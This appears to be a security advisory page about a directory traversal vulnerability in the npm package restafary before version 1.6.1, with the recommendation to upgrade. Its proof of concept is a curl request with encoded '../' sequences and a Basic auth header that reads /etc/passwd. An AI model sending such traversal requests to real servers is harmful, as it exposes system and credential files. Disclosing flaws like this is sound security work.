Lucene search

K
nodejsCraig ArendtNODEJS:89
HistoryMar 25, 2016 - 5:56 p.m.

Directory Traversal

2016-03-2517:56:35
Craig Arendt
www.npmjs.com
20

0.001 Low

EPSS

Percentile

36.4%

Overview

Affected versions of restafary are susceptible to a directory traversal vulnerability when a root path is specified in the configuration.

Proof of Concept

curl -i -s -k  -X 'GET' -H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ=' 'http://localhost:8000/api/v1/fs/..%2f..%2fetc/passwd'

Recommendation

Update to version 1.6.1 or later.

References

GitHub Advisory

CPENameOperatorVersion
restafarylt1.6.1

0.001 Low

EPSS

Percentile

36.4%